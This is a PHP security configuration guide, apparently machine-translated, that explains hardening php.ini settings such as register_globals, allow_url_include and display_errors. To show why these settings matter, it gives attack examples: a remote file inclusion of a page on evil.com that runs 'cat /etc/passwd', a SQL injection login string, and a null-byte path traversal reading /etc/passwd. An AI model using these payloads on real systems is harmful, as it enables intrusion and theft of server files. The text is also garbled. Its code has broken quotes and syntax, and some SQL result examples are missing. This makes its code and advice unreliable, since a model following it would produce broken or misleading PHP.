PHP.ini Configuration

PHP as a powerful scripting language by more and more Web applications, non-standard PHP security configuration may bring sensitive information leakage, SQL injection, remote inclusion and other issues, standardized security configuration to ensure the most basic security environment. Below we analyze several PHP configurations that will cause security issues and suggest options.

1. register_globals = Off

PHP will automatically register the contents of $_get, $_post, $_cookie, $_env, $_server, $REQUEST and other array variables as global variables when the process starts, based on the settings of the register_globals .

Let's take an example to illustrate the security issues that arise when register_globals = on:

<?php
if (Authenticated_user ())
$authorized = true;
?>

Since authorized is not initialized, it may be defined by register_globals

such as GET example.php?authorized=1
<?php if (! $authorized):

Some important operations, such as Setcookies

Include ("setcookies.php");

?>

For the above code, because PHP will automatically create a variable for each committed value, so as long as the request to submit the http://example.com/example.php?authorized=1, you can obtain authorization actions, in order to avoid such a problem, It is recommended that you configure register_globals to OFF.

2. allow_url_include =off

This option allows PHP to control whether a remote file (such as http://evil.com/evil.php or ftp://evil.com/evil.php) is allowed to execute through Include/require.

The code examples are as follows:

http://HostA/test.php as follows:

<?php

$strParam = $_get[' param ');

if (!include_once ($strParam. php ')) {

echo "Error";

}

?>

The http://evil.com/evil.php example is as follows:

<?php
echo "<?php system (' cat/etc/passwd ');?>"

?>

If the user accesses the following URL, the $strparam in the access page will be set to a remote url:http://evil.com/evil.php. If this configuration is set to ON, then test.php will execute the php file (http://evil.com/evil.php) on the remote server through include_once, the consequences are self-evident.

Http://HostA/test.php?param=http://evil.com/evil

Therefore, this option is recommended to force configuration to off.

Of course, to completely solve the above code security vulnerabilities, in addition to the specification of PHP configuration, but also need to standardize PHP code.

3. MAGIC_QUOTES_GPC = on

For a typical SQL injection example, if the SQL statement is spliced in the following way:

SELECT * from user where pass= ' ". $_get[' passwd '. "' and user= '". $_get[' username ']. "';

If the user submits a login.php?passwd=p&username= ' or ' 1 ' = ' 1 request, the SQL statement in the code becomes:

This creates a SQL injection vulnerability. The correct way to avoid this problem is for developers to filter all received values before stitching the SQL statements and strictly enforce the coding specification, but not all developers will be aware of the problem, and at this point, if the php.ini MAGIC_QUOTES_GPC is set to ON, PHP will process all GPC parameters ($_get,$_post,$_cookie) addslashes [both single quotes, double quotes, backslashes, and Nullbyte], which will be:

Because ' already escaped, SQL statements cannot be executed successfully, preventing SQL injections.

Also, in the case of http://HostA/test.php in section 2, when magic_quotes_gpc= off, the user submits a example.php?param=. /.. /.. /etc/passwd%00 request, because the file suffix (. php) that is restricted in the code is truncated by%00, the/etc/passwd file is attempted to be read through require_once.

It is worth noting that the MAGIC_QUOTES_GPC is configured on with the following disadvantages:

1, PHP at this time will be all GPC parameters to do addslashes processing, there will be relatively large performance losses.

2, when the GPC parameter is used for other operations such as logical relationship before the judgment must be done strislashes processing, otherwise the result is necessarily incorrect.

Considering the performance loss and code complexity of turning on this option, which can be set flexibly when used, this option can be turned on for some non-canonical or unattended code, and a better practice is to set this value to OFF, and the developer will strictly filter the input from the user.

4. expose_php = Off

we often do in an HTTP find such information in the head:

x-powered-by:php/5.2.11

The version number of PHP is exposed, it is easy for an attacker to capture this information, and to resolve this problem, we only need to configure the following

;;;;;;;;;;;;;;;;;

; Miscellaneous;

;;;;;;;;;;;;;;;;;

; Decides whether PHP may expose the fact thatit be installed on the server

;  (e.g. by adding it signature to the Webserver header). It is no security

; Threat in any-to-do, but it makes it possibleto determine whether your use PHP

; On your server or not.

; http://php.net/expose-php

expose_php = On

The configuration item is on by default and needs to be modified to off.

5. display_errors = Off

This control controls whether PHP prints the error, notice, warning logs, and the location of the print. Error messages are mainly used for assisted development, but the online environment is very dangerous because it exposes the server's webserver, database, PHP code deployment path, even database connections, data tables, and other key information, which can bring great convenience to attackers. It is recommended that the product be modified to OFF when it is online.

6. error_reporting = e_all& ~e_notice

This configuration item controls which error logs (errors,warnings,notices) are printed by PHP. By default, all error logs are printed, and the online environment should not display specific E_notice log information.

The most common scenario that causes E_notice errors is to use uninitialized variables as an example of the following code:

If no username parameter is in the user request, the notice error will be printed

<?php

If no username parameter is in the user request, the notice error will be printed

$username = $_get[' username ');

Referencing an uninitialized variable var2

The notice error will be printed

$var 1 = $var 2;

?>

If the user accesses a URL that does not specify the username parameter, then $_get[' username ' in the code is an uninitialized variable, and direct access throws a notice error. The above code execution will report the following error, so that the code directory is leaked.

PHP notice:undefined index:username in/somepath/test.php on line 3

PHP notice:undefined variable:var2 in/somepath/test.php on line 6

Attackers use this information to guess the code logic, making it easier to attack.

7. display_startup_errors =off

The error generated when PHP starts is controlled by this option, which is separate from the display_errors. In order to prevent the error from being printed to the page when PHP is launched into the city, this option should also be configured off on-line for information disclosure.

For ease of development and debugging, the development environment can be set to ON.

From this we can see that the correct PHP basic security configuration can effectively avoid many high-risk vulnerabilities, avoid leaking server sensitive information, thereby improving product security.

PHP.ini Configuration